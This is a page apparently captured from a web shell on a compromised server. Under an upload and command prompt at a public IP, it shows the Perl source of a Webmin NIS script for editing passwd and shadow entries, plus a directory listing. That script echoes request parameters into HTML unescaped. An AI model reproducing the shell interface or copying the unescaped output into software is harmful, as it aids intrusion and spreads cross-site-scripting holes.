[ Avaa Bypassed ]




Upload:

Command:

www-data@18.226.163.8: ~ $
#!/usr/bin/perl
# edit_passwd_shadow.cgi
# Edit a NIS password/shadow files entry

require './nis-lib.pl';
use Time::Local;
&ReadParse();
&ui_print_header(undef, $text{'passwd_title'}, "");
$mode = ($0 =~ /passwd_shadow_full.cgi$/ ? 2 :
	 $0 =~ /passwd_shadow.cgi$/ ? 1 : 0);

# Build list of available shells
@shlist = ("/bin/sh", "/bin/csh", "/bin/false");
open(SHELLS, "</etc/shells");
while(<SHELLS>) {
	s/\r|\n//g;
	s/^\s*#.*$//;
	push(@shlist, $_) if (/\S/);
	}
close(SHELLS);

($t, $lnums, $passwd, $shadow) =
	&table_edit_setup($in{'table'}, $in{'line'}, ':');
print "<form action=save_passwd_shadow.cgi method=post>\n";
print "<input type=hidden name=table value='$in{'table'}'>\n";
print "<input type=hidden name=line value='$in{'line'}'>\n";
print "<input type=hidden name=mode value='$mode'>\n";

print "<table border width=100%>\n";
print "<tr $tb> <td><b>$text{'passwd_header1'}</b></td> </tr>\n";
print "<tr $cb> <td><table width=100%>\n";

print "<tr> <td><b>$text{'passwd_name'}</b></td>\n";
print "<td><input name=name size=10 value=\"$passwd->[0]\"></td>\n";

print "<td><b>$text{'passwd_uid'}</b></td>\n";
print "<td><input name=uid size=10 value=\"$passwd->[2]\"></td> </tr>\n";

print "<tr> <td><b>$text{'passwd_real'}</b></td>\n";
print "<td><input name=real size=20 value=\"$passwd->[4]\"></td>\n";

print "<td><b>$text{'passwd_home'}</b></td>\n";
print "<td><input name=home size=25 value=\"$passwd->[5]\"> ",
      &file_chooser_button("home", 1),"</td> </tr>\n";

print "<tr> <td valign=top><b>$text{'passwd_shell'}</b></td>\n";
print "<td valign=top><select name=shell>\n";
foreach $s (&unique(@shlist)) {
	printf "<option %s>%s</option>\n",
		$passwd->[6] eq $s ? 'selected' : '', $s;
	$found++ if ($passwd->[6] eq $s);
	}
printf "<option value='' %s>%s</option>\n",
	$found ? '' : 'selected', $text{'passwd_other'};
print "</select><br>\n";
printf "<input name=other size=20 value='%s'> %s</td>\n",
	$found ? '' : $passwd->[6], &file_chooser_button("other");

$pass = $mode ? $shadow->[1] : $passwd->[1];
%uconfig = &foreign_config("useradmin");
print "<td valign=top rowspan=2><b>$text{'passwd_pass'}</b></td> <td rowspan=2>\n";
printf"<input type=radio name=passmode value=0 %s> %s<br>\n",
	$pass eq "" ? "checked" : "",
	$uconfig{'empty_mode'} ? $text{'passwd_none1'} : $text{'passwd_none2'};
printf"<input type=radio name=passmode value=1 %s> $text{'passwd_nologin'}<br>\n",
	$pass eq $uconfig{'lock_string'} ? "checked" : "";
print "<input type=radio name=passmode value=3> $text{'passwd_clear'}\n";
printf "<input %s name=pass size=15><br>\n",
	$uconfig{'passwd_stars'} ? "type=password" : "";
printf "<input type=radio name=passmode value=2 %s> $text{'passwd_encrypted'}\n",
	$pass && $pass ne $uconfig{'lock_string'} ? "checked" :"";
printf "<input name=encpass size=13 value=\"%s\">\n",
	$pass && $pass ne $uconfig{'lock_string'} ? $pass : "";
print "</td> </tr>\n";

print "<tr> <td><b>$text{'passwd_gid'}</b></td>\n";
print "<td><input name=gid size=10 value='$passwd->[3]'></td> </tr>\n";

if ($mode == 2) {
	print "</table></td></tr></table><br>\n";
	print "<table border width=100%>\n";
	print "<tr $tb> <td><b>$text{'passwd_header2'}</b></td> </tr>\n";
	print "<tr $cb> <td><table width=100%>\n";

	print "<tr> <td><b>$text{'passwd_change'}</b></td>\n";
	if ($shadow->[2] && $shadow->[2] >= 0) {
		@tm = localtime(timelocal(gmtime($shadow->[2] * 60*60*24)));
		printf "<td>%s/%s/%s</td>\n",
			$tm[3], $text{"smonth_".($tm[4]+1)}, $tm[5]+1900;
		}
	elsif ($in{'line'} eq "") { print "<td>$text{'passwd_never'}</td>\n"; }
	else { print "<td>$text{'passwd_unknown'}</td>\n"; }

	print "<td><b>$text{'passwd_expire'}</b></td>\n";
	if ($shadow->[7] && $shadow->[7] >= 0) {
		@tm = localtime($shadow->[7] * 60*60*24);
		$eday = $tm[3];
		$emon = $tm[4]+1;
		$eyear = $tm[5]+1900;
		}
	print "<td>";
	&date_input($eday, $emon, $eyear, 'expire');
	print "</td>\n";

	print "<tr> <td><b>$text{'passwd_min'}</b></td>\n";
	printf "<td><input size=5 name=min value=\"%s\"></td>\n",
		$shadow->[3] < 0 ? "" : $shadow->[3];

	print "<td><b>$text{'passwd_max'}</b></td>\n";
	printf "<td><input size=5 name=max value=\"%s\"></td></tr>\n",
		$shadow->[4] < 0 ? "" : $shadow->[4];

	print "<tr> <td><b>$text{'passwd_warn'}</b></td>\n";
	printf "<td><input size=5 name=warn value=\"%s\"></td>\n",
		$shadow->[5] < 0 ? "" : $shadow->[5];

	print "<td><b>$text{'passwd_inactive'}</b></td>\n";
	printf "<td><input size=5 name=inactive value=\"%s\"></td></tr>\n",
		$shadow->[6] < 0 ? "" : $shadow->[6];
	}
print "</table></td></tr></table>\n";

if (defined($in{'line'})) {
	print "<input type=submit value='$text{'save'}'>\n";
	print "<input type=submit name=delete value='$text{'delete'}'>\n";
	}
else {
	print "<input type=submit value='$text{'create'}'>\n";
	}
print "</form>\n";
&ui_print_footer("edit_tables.cgi?table=$in{'table'}", $text{'tables_return'},
	"", $text{'index_return'});


Filemanager

Name Type Size Permission Actions
images Folder 0755
lang Folder 0755
CHANGELOG File 308 B 0644
aix-lib.pl File 9.79 KB 0755
backup_config.pl File 817 B 0755
build.cgi File 162 B 0755
coherent-linux-lib.pl File 10.4 KB 0755
config-aix File 181 B 0644
config-coherent-linux File 116 B 0644
config-debian-linux File 120 B 0644
config-generic-linux File 116 B 0644
config-mandrake-linux File 116 B 0644
config-msc-linux File 116 B 0644
config-open-linux File 117 B 0644
config-openSUSE-Linux-15.0-ALL File 116 B 0644
config-openmamba-linux File 116 B 0644
config-redhat-linux File 116 B 0644
config-slackware-linux File 116 B 0644
config-solaris File 167 B 0644
config-solaris-8-ALL File 199 B 0644
config-suse-linux File 116 B 0644
config-trustix-linux File 116 B 0644
config-united-linux File 116 B 0644
config.info File 282 B 0644
config.info.ca File 320 B 0644
config.info.cs File 321 B 0644
config.info.de File 321 B 0644
config.info.es File 277 B 0644
config.info.fr File 350 B 0644
config.info.hu File 0 B 0644
config.info.nl File 290 B 0644
config.info.no File 297 B 0644
config.info.pl File 309 B 0644
config.info.ru File 491 B 0644
config.info.sv File 132 B 0644
config.info.uk File 500 B 0644
debian-linux-lib.pl File 10.19 KB 0755
edit_aliases.cgi File 1.2 KB 0755
edit_client.cgi File 1.41 KB 0755
edit_ethers.cgi File 1.14 KB 0755
edit_group.cgi File 1.81 KB 0755
edit_group_shadow.cgi File 1.83 KB 0755
edit_hosts.cgi File 1.31 KB 0755
edit_netgroup.cgi File 2.01 KB 0755
edit_netmasks.cgi File 1.16 KB 0755
edit_networks.cgi File 1.35 KB 0755
edit_passwd.cgi File 4.8 KB 0755
edit_passwd_shadow.cgi File 4.8 KB 0755
edit_passwd_shadow_full.cgi File 4.8 KB 0755
edit_protocols.cgi File 1.35 KB 0755
edit_rpc.cgi File 1.3 KB 0755
edit_security.cgi File 1.92 KB 0755
edit_server.cgi File 607 B 0755
edit_services.cgi File 1.52 KB 0755
edit_services2.cgi File 1.53 KB 0755
edit_switch.cgi File 1.74 KB 0755
edit_tables.cgi File 6.24 KB 0755
feedback_files.pl File 157 B 0755
index.cgi File 776 B 0755
linux-lib.pl File 5.27 KB 0755
list_switches.cgi File 772 B 0755
mandrake-linux-lib.pl File 10.38 KB 0755
md5-lib.pl File 7.58 KB 0755
module.info File 346 B 0644
module.info.af File 0 B 0644
module.info.af.auto File 167 B 0644
module.info.ar File 0 B 0644
module.info.ar.auto File 195 B 0644
module.info.be File 0 B 0644
module.info.be.auto File 287 B 0644
module.info.bg File 0 B 0644
module.info.bg.auto File 250 B 0644
module.info.ca File 163 B 0644
module.info.ca.auto File 12 B 0644
module.info.cs File 28 B 0644
module.info.cs.auto File 145 B 0644
module.info.da File 0 B 0644
module.info.da.auto File 154 B 0644
module.info.de File 136 B 0644
module.info.de.auto File 12 B 0644
module.info.el File 0 B 0644
module.info.el.auto File 235 B 0644
module.info.es File 31 B 0644
module.info.es.auto File 138 B 0644
module.info.eu File 0 B 0644
module.info.eu.auto File 164 B 0644
module.info.fa File 0 B 0644
module.info.fa.auto File 248 B 0644
module.info.fi File 0 B 0644
module.info.fi.auto File 158 B 0644
module.info.fr File 30 B 0644
module.info.fr.auto File 141 B 0644
module.info.he File 0 B 0644
module.info.he.auto File 170 B 0644
module.info.hr File 0 B 0644
module.info.hr.auto File 171 B 0644
module.info.hu File 34 B 0644
module.info.hu.auto File 147 B 0644
module.info.it File 0 B 0644
module.info.it.auto File 152 B 0644
module.info.ja File 49 B 0644
module.info.ja.auto File 226 B 0644
module.info.ko File 39 B 0644
module.info.ko.auto File 154 B 0644
module.info.lt File 0 B 0644
module.info.lt.auto File 169 B 0644
module.info.lv File 0 B 0644
module.info.lv.auto File 169 B 0644
module.info.ms File 149 B 0644
module.info.ms.auto File 12 B 0644
module.info.mt File 0 B 0644
module.info.mt.auto File 144 B 0644
module.info.nl File 30 B 0644
module.info.nl.auto File 130 B 0644
module.info.no File 29 B 0644
module.info.no.auto File 117 B 0644
module.info.pl File 107 B 0644
module.info.pl.auto File 12 B 0644
module.info.pt File 0 B 0644
module.info.pt.auto File 164 B 0644
module.info.pt_BR File 0 B 0644
module.info.pt_BR.auto File 173 B 0644
module.info.ro File 0 B 0644
module.info.ro.auto File 156 B 0644
module.info.ru File 41 B 0644
module.info.ru.auto File 246 B 0644
module.info.sk File 0 B 0644
module.info.sk.auto File 165 B 0644
module.info.sl File 0 B 0644
module.info.sl.auto File 165 B 0644
module.info.sv File 31 B 0644
module.info.sv.auto File 123 B 0644
module.info.th File 0 B 0644
module.info.th.auto File 347 B 0644
module.info.tr File 0 B 0644
module.info.tr.auto File 169 B 0644
module.info.uk File 0 B 0644
module.info.uk.auto File 247 B 0644
module.info.ur File 0 B 0644
module.info.ur.auto File 244 B 0644
module.info.vi File 0 B 0644
module.info.vi.auto File 217 B 0644
module.info.zh File 34 B 0644
module.info.zh.auto File 120 B 0644
module.info.zh_TW File 37 B 0644
module.info.zh_TW.auto File 126 B 0644
msc-linux-lib.pl File 10.38 KB 0755
nis-lib.pl File 6.02 KB 0755
nisupdate.conf File 1.94 KB 0644
old_edit_passwd_shadow.cgi File 4.62 KB 0755
old_edit_switch.cgi File 1.76 KB 0755
old_save_switch.cgi File 533 B 0755
open-linux-lib.pl File 7.89 KB 0755
openmamba-linux-lib.pl File 10.38 KB 0755
redhat-linux-lib.pl File 10.38 KB 0755
save_aliases.cgi File 749 B 0755
save_client.cgi File 661 B 0755
save_ethers.cgi File 793 B 0755
save_file.cgi File 588 B 0755
save_group.cgi File 945 B 0755
save_group_shadow.cgi File 1.04 KB 0755
save_hosts.cgi File 758 B 0755
save_netgroup.cgi File 1.04 KB 0755
save_netmasks.cgi File 753 B 0755
save_networks.cgi File 791 B 0755
save_passwd_shadow.cgi File 2.36 KB 0755
save_protocols.cgi File 806 B 0755
save_rpc.cgi File 746 B 0755
save_security.cgi File 996 B 0755
save_server.cgi File 184 B 0755
save_services.cgi File 775 B 0755
save_services2.cgi File 776 B 0755
save_switch.cgi File 932 B 0755
slackware-linux-lib.pl File 9.91 KB 0755
solaris-lib.pl File 10.45 KB 0755
suse-linux-8.2-lib.pl File 11.05 KB 0755
suse-linux-9.0-lib.pl File 11.05 KB 0755
suse-linux-lib.pl File 11.88 KB 0755
switch-lib.pl File 3.08 KB 0755
trustix-linux-lib.pl File 10.38 KB 0755
united-linux-lib.pl File 11.05 KB 0755